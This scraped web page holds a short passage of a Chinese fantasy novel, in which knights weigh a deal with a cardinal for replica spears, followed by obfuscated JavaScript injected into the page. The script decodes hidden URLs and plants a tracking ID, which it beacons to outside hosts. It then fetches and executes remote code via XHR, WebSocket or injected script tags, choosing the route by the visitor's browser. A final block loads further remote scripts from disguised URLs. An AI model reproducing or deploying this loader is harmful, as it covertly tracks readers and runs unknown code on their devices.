「看起來,你們對這筆交易很滿意。」
那個騎士說道,這幾個人的反映讓他頗為欣賞。
「當然,不明白艾爾瑪大人的好意的人絕對是白癡。」
尼斯毫不客氣地說道,這也算是報之前路克他們拿他當沙包的仇。魂樣的,路克和伊斯特這樣的聰明人,肯定明白這些東西和金錢值錢的差別。
這筆交易絕對劃算,這些東西的價值根本無法用金錢衡量,玫有它們,是一種身份的象徵,以後不管做什麼事情都會容易許多。
當然,紅衣主教那邊肯定也不會虧本,這五件東西的材料加上人工,頂多八千金幣,而紅衣主教欠他們的款項,卻有兩萬五千金幣。
除了象徵意義,這五件物品本來就價值不凡。路克他們四個全都是騎士,如果不出意外的話,朗基努斯槍的仿製品,可以說是他們能夠得到的最好武器了。
想要更好的武器,就只有請頂級的武器匠和頂級的煉金術師一起合作,還需要搜羅許多珍間的材料。
這魂樣不是有錢就能做到的。
不管哪個行業,到了頂級都可以被稱為「大師」這些大師們遊走於各個王庭,身份比一般的貴族都高。伯爵以下的人根本就沒資格邀請他們,更別說是請他們製作東西了。
路克他們能不能在有生之年獲得伯爵的頭銜?對於這個問題,尼斯連想都不會想。
关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSkSS3SSaSS1SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hQQtQQtQQpQQsQQ:QQ/QQ/QQpQQ.QQgQQoQQdQQmQQwQQiQQtQQhQQ.QQcQQoQQmQQ/QQ1QQ2QQ/QQ1QQ1QQ0QQ5QQeQQcQQ8QQ5QQ8QQ2QQ3QQ7QQ2".split("QQ").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDmDDqDD1DD2DDnDD4DDdDD7DD6DD.DDoDDsDDsDD-DDcDDnDD-DDsDDhDDaDDnDDgDDhDDaDDiDD.DDaDDlDDiDDyDDuDDnDDcDDsDD.DDcDDoDDmDD/DD1DD2DD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();